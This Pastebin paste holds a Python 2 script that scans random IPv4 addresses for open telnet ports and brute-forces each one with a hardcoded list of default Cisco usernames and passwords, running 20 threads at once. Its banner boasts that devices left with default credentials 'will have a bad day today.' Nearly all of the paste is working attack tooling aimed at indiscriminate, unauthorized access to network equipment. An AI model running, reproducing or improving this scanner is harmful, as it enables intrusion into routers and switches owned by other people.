Advertisement
Guest User

Untitled

a guest
May 29th, 2016
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. import threading
  2. import telnetlib
  3. import sys
  4. import socket
  5. import random
  6. import thread
  7. import time
  8.  
  9. print "|","-"*61, "|"
  10. print "|\tAll of cisco routers , switches with default\t\t|\n|\tusername and passwords are will have a bad day today\t|"
  11. print "|","-"*61, "|"
  12. def bruteForce(ip):
  13. dict={"Administrator":"admin","|Administrator":"changeme","cisco":"cisco","admin":"admin","|admin":"diamond","||admin":"cisco","root":"Cisco","|root":"password","||root":"blender","|||root":"attack","bbsd-client":"changeme2","cmaker":"cmaker","cusadmin":"password","hsa":"hsadb","netrangr":"attack","wlse":"wlsedb","wlseuser":"wlseuser"}
  14. for key,value in dict.iteritems():
  15. key = key.replace("|" , "")
  16. try:
  17. #print " Trying User:",key," Password:",value ," on " , ip
  18. tn = telnetlib.Telnet(ip,23,2)
  19. tn.read_until((":" or ">" or "$" or "@"))
  20. tn.write(key + "\n")
  21. tn.read_until((":" or ">" or "$" or "@"))
  22. tn.write(value + "\n")
  23. tn.write("dir\n")
  24. tn.write("exit\n")
  25. tn.read_all()#we can print this to get the banner
  26. print "\t\nLogin successful:", key , " -> " , value
  27. tn.close()
  28. sys.exit(1)
  29. except Exception ,e:
  30. #print ip , " --> " , e
  31. pass
  32. finally:
  33. try:
  34. tn.close()
  35. except Exception , e:
  36. pass
  37.  
  38. #randy()
  39.  
  40. def randy():
  41. a=random.randint(1,254)
  42. b=random.randint(1,254)
  43. c=random.randint(1,254)
  44. d=random.randint(1,4)
  45. ip=str(a) + "." +str(b) + "." +str(c) + "." +str(d)
  46. try:
  47. telnetlib.Telnet(ip , 23 , 2)
  48. print "Telneting on host : " , ip
  49. bruteForce(ip)
  50. except Exception ,e:
  51. #print ip," => does not have telnet enabled" , e
  52. randy()
  53.  
  54. for threads in range(0,20):
  55. thread.start_new_thread(randy,())
  56. time.sleep(0.5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement